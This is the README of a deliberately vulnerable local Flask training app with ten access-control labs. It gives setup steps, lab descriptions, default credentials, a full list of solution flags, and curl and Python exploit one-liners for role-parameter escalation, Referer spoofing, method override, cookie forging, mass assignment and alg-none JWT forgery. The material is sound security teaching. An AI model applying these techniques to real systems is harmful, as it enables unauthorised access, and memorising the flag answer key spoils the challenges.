A fully offline, hands-on web security practice platform with 10 progressive access control vulnerability challenges — runnable in Termux on Android or any Linux system.
Inspired by PortSwigger Web Security Academy & real-world bug reports. Built for learners who want to practice access control exploitation in a safe, local environment.
🚀 Quick Start · 🧪 The Labs · 🛠 Exploit Examples · 📚 Concepts · 🤝 Attribution
Access Control Labs is a deliberately vulnerable Flask web application designed for learning and practicing web access control vulnerabilities. Each lab isolates one specific flaw — from beginner-friendly URL manipulation to expert-level JWT attacks — with hints, objectives, and a flag submission system to track your progress.
Progress is saved to disk (progress.json) and persists across server restarts and logins. Each user account has separate progress. No internet, no cloud, no Docker — just Python.
Most security labs require an internet connection, a subscription, or a complex setup. This runs on a 5-year-old Android phone in Termux with two commands. Perfect for:
- Students learning web security fundamentals
- CTF beginners building their methodology
- Developers understanding what not to do in their own code
- Anyone preparing for PortSwigger / HackTheBox / TryHackMe
# Step 1 — Install dependencies
pkg update && pkg install python git
# Step 2 — Clone the repo
git clone https://github.com/karn-shubham-11/access-control-labs.git
cd access-control-labs
# Step 3 — Install Flask (the only Python dependency)
pip install flask
# Step 4 — Launch
python app.pyThen open http://localhost:5000 in your phone's browser.
git clone https://github.com/karn-shubham-11/access-control-labs.git
cd access-control-labs
pip install flask
python app.py✅ That's it. No database setup. No Docker. No
.envfiles. No internet required after clone.
| # | Lab Name | Difficulty | Vulnerability Class | OWASP Category |
|---|---|---|---|---|
| 1 | Unprotected Admin Panel | 🟢 Easy | Security Misconfiguration | A01: Broken Access Control |
| 2 | Role Escalation via Parameter | 🟢 Easy | Privilege Escalation | A01: Broken Access Control |
| 3 | IDOR — Order Access | 🟢 Easy | Insecure Direct Object Reference | A01: Broken Access Control |
| 4 | Referer-Based Access Control | 🟡 Medium | HTTP Header Bypass | A01: Broken Access Control |
| 5 | HTTP Method Override | 🟡 Medium | Method Tampering | A05: Security Misconfiguration |
| 6 | Cookie Role Manipulation | 🟡 Medium | Insecure Deserialization | A02: Cryptographic Failures |
| 7 | Mass Assignment / JSON Injection | 🔴 Hard | Mass Assignment | A08: Software & Data Integrity |
| 8 | Multi-Step Process Bypass | 🔴 Hard | Business Logic Flaw | A01: Broken Access Control |
| 9 | Path Traversal File Access | 🔴 Hard | Path Traversal | A01: Broken Access Control |
| 10 | JWT none Algorithm Attack |
⚫ Expert | Cryptographic Failure | A02: Cryptographic Failures |
| Badge | What to Expect |
|---|---|
| 🟢 Easy | URL manipulation, browser DevTools — no special tools needed |
| 🟡 Medium | curl with custom headers, cookie editing |
| 🔴 Hard | JSON crafting, logic analysis, multi-step exploitation |
| ⚫ Expert | Cryptographic understanding, token forgery |
| Username | Password | Role | Notes |
|---|---|---|---|
alice |
alice123 |
user | Start here for most labs |
bob |
bob123 |
user | Useful for IDOR labs |
carlos |
carlos123 |
moderator | Mid-level privilege |
admin |
admin123 |
admin | Target role to escalate to |
Tip: Start every lab logged in as alice and try to gain admin access.
These curl one-liners are the kind of commands you'll be figuring out in each lab. Try it yourself first!
Lab 2 — Hidden Form Field (click to reveal)
curl -X POST http://localhost:5000/lab/role-parameter \
-d "username=evil&password=x&role=admin"Lab 4 — Spoofed Referer Header
curl -H "Referer: http://localhost:5000/lab/referer-based/admin" \
http://localhost:5000/lab/referer-based/deleteLab 5 — HTTP Method Override
curl "http://localhost:5000/lab/method-override/reset?_method=POST&target=admin"Lab 6 — Base64 Cookie Forge
echo -n "admin" | base64
# Output: YWRtaW4=
curl -b "user_role=YWRtaW4=" http://localhost:5000/lab/cookie-manipulation/adminLab 7 — Mass Assignment JSON Injection
curl -X POST http://localhost:5000/lab/mass-assignment/api/profile \
-H "Content-Type: application/json" \
-d '{"name":"alice","email":"alice@corp.local","isAdmin":true}'Lab 10 — JWT none Algorithm Forgery
python3 -c "
import base64, json
def b64u(s):
return base64.urlsafe_b64encode(s.encode()).rstrip(b'=').decode()
h = b64u(json.dumps({'alg':'none','typ':'JWT'}))
p = b64u(json.dumps({'username':'alice','role':'admin'}))
print(h + '.' + p + '.')
"🔓 Broken Access Control (OWASP #1) The most common web vulnerability class. Occurs when applications fail to enforce who can see or do what. Labs 1, 2, 3, 4, 8 cover this directly.
🪪 Insecure Direct Object Reference (IDOR)
When internal objects like database IDs are exposed to users without authorization checks. Classic: changing ?order_id=2 to ?order_id=1 reads someone else's data.
🍪 Insecure Session / Cookie Handling
Storing sensitive values like role=user in a client-editable cookie. If it's in the browser, the user can change it.
⚙️ Mass Assignment
When server code blindly binds all JSON fields from a request body — including fields like isAdmin that should never be user-controlled.
🗂 Path Traversal
Using ../ sequences to escape an intended directory and read arbitrary files on the server.
🔑 JWT Attacks
JSON Web Tokens can be forged when the server accepts "alg": "none" — effectively disabling signature verification entirely.
🔀 HTTP Method Tampering
Frameworks that support _method overrides let GET requests masquerade as POST, bypassing method-based access controls.
🪜 Business Logic Flaws Multi-step processes where only some steps check authorization — letting attackers jump straight to the final action endpoint.
| Platform | Focus |
|---|---|
| PortSwigger Web Security Academy | Comprehensive free web security training |
| HackTheBox | CTF challenges and real machines |
| TryHackMe | Guided learning paths for beginners |
| OWASP WebGoat | Another deliberately vulnerable app |
access-control-labs/
│
├── app.py # Main Flask app — all 10 labs in one file
├── progress.json # Auto-created — stores per-user progress (gitignored)
├── README.md # This file
└── .gitignore # Excludes progress.json, __pycache__, etc.
Server starts → loads progress.json into memory
User solves lab → progress.json updated immediately (atomic write)
User logs out → progress merged & saved again
Server restart → progress.json reloaded, nothing lost
Progress is stored per user:
{
"alice": [1, 3, 6],
"bob": [1, 2]
}Each lab hides a secret string called a flag in the format FLAG{descriptive_name}. Finding the flag means you successfully exploited the vulnerability.
Every lab has a different method — some flags appear on the page once you exploit it, others come back in an API response, or inside a file you access.
- Find the flag text, e.g.
FLAG{robots_txt_never_hides_secrets} - Scroll to the bottom of the lab page
- Paste it into the Submit Your Flag box
- Click Submit Flag
- If correct — the lab is marked ✅ solved and you are redirected to the home page
- Progress is saved per user account to
progress.jsonon disk - It survives server restarts — your solves are never lost
- Switching accounts gives each user their own independent progress
- The home page shows a progress bar and checkmarks on solved labs
| Lab | Flag Format |
|---|---|
| 1 | FLAG{robots_txt_never_hides_secrets} |
| 2 | FLAG{hidden_role_param_pwned} |
| 3 | FLAG{idor_order_access_achieved} |
| 4 | FLAG{referer_is_not_security} |
| 5 | FLAG{http_method_override_bypass} |
| 6 | FLAG{base64_is_not_encryption} |
| 7 | FLAG{mass_assignment_rce_ready} |
| 8 | FLAG{multi_step_logic_bypass} |
| 9 | FLAG{path_traversal_file_exposed} |
| 10 | FLAG{jwt_none_alg_is_deadly} |
⚠️ Spoilers above! Only peek if you are truly stuck.
This app is intentionally vulnerable. Please:
- ✅ Run it locally only — never expose it to the internet
- ✅ Use it for learning and education
- ✅ Share it with other learners
- ❌ Do not deploy it on a public server
- ❌ Do not apply these techniques to systems you don't own
This project was built collaboratively — I defined the learning goals, tested every lab, filed bug reports, and directed the entire development. The code architecture, vulnerability implementations, UI/CSS design, bug fixes, and persistence system were built with the help of Claude by Anthropic.
| Contribution | By |
|---|---|
| Project concept, lab design, testing, feedback & direction | karn-shubham-11 (repo owner) |
| Flask architecture, vulnerability code, UI design, persistence system | Claude (Anthropic AI assistant) |
| Vulnerability references & methodology | PortSwigger Web Security Academy |
I believe in being transparent about AI assistance. This is a learning project — the goal is understanding web security, not pretending to have written every line myself. If you're curious how this was built, the entire thing came out of a back-and-forth conversation with Claude.
MIT — free to use, modify, and share.
Happy hacking. Stay curious. Break things responsibly. 🏴
If this helped you learn something, consider giving it a ⭐ on GitHub!